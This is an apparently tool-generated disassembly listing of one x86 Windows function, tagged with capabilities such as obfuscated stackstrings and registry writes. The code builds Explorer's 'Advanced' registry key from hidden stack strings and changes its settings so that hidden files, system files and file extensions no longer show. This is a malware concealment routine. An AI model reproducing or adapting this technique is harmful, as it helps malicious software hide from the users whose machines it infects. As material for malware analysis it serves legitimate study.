Function at 0x100011e0
Capabilities:
Contain obfuscated stackstrings
Enumerate gui resources
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x10013004]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10011b50]
lea eax, [ebp - 0xed]
push esi
push edi
movups xmmword [ebp - 0x128], xmm0
xor esi, esi
xor edi, edi
movaps xmm0, xmmword [str.ftWindowsCurreSOFTWAREMicrosontVersionExplor]
push 0xc5
movups xmmword [ebp - 0x118], xmm0
push esi
movaps xmm0, xmmword [0x10011b60]
push eax
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0x415c7265
mov dword [ebp - 0xf4], 0x6e617664
mov word [ebp - 0xf0], 0x6563
mov byte [ebp - 0xee], 0x64
call fcn.10002a30
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
push 3
push esi
lea eax, [ebp - 0x128]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001466
push ebx
mov byte [ebp - 6], al
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x134], 4
push eax
lea eax, [ebp - 0x134]
mov dword [ebp - 0x12c], esi
push eax
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 0x130], 4
push eax
push dword [ebp - 0x138]
mov dword [ebp - 0xc], 0x64646948
mov word [ebp - 8], 0x6e65
mov dword [ebp - 0x13c], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10001328
cmp dword [ebp - 0x12c], 2
je 0x1000131e
push 4
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 2
push eax
push 4
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x138]
call ebx
test eax, eax
mov eax, 1
cmove edi, eax
mov dword [ebp - 0x13c], edi
jmp 0x10001328
mov dword [ebp - 0x13c], 1
lea eax, [ebp - 0x130]
mov dword [ebp - 0x12c], esi
push eax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x140], esi
push eax
lea eax, [ebp - 0x134]
mov dword [ebp - 0x18], 0x65646948
push eax
push 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x656c6946
push eax
push dword [ebp - 0x138]
mov dword [ebp - 0x10], 0x747845
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100013b1
cmp dword [ebp - 0x12c], 1
je 0x100013a7
push 4
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 1
push eax
push 4
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x138]
call ebx
test eax, eax
jne 0x100013b1
lea edi, [eax + 1]
mov dword [ebp - 0x140], 1
movaps xmm0, xmmword [str.ShowSuperHidden]
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], 2
push eax
lea eax, [ebp - 0x134]
xor ebx, ebx
push eax
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x138]
movups xmmword [ebp - 0x28], xmm0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10001429
cmp dword [ebp - 0x12c], ebx
je 0x10001429
push 4
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], ebx
push eax
push 4
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x138]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1000142e
mov ebx, 1
mov edi, ebx
jmp 0x1000142e
mov ebx, 1
cmp dword [ebp - 0x13c], esi
je 0x10001448
cmp dword [ebp - 0x140], esi
je 0x10001448
test ebx, ebx
mov eax, 1
cmovne esi, eax
push dword [ebp - 0x138]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
test edi, edi
je 0x10001466
push 0
push 0x10001070
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10001b90
mov esp, ebp
pop ebp
ret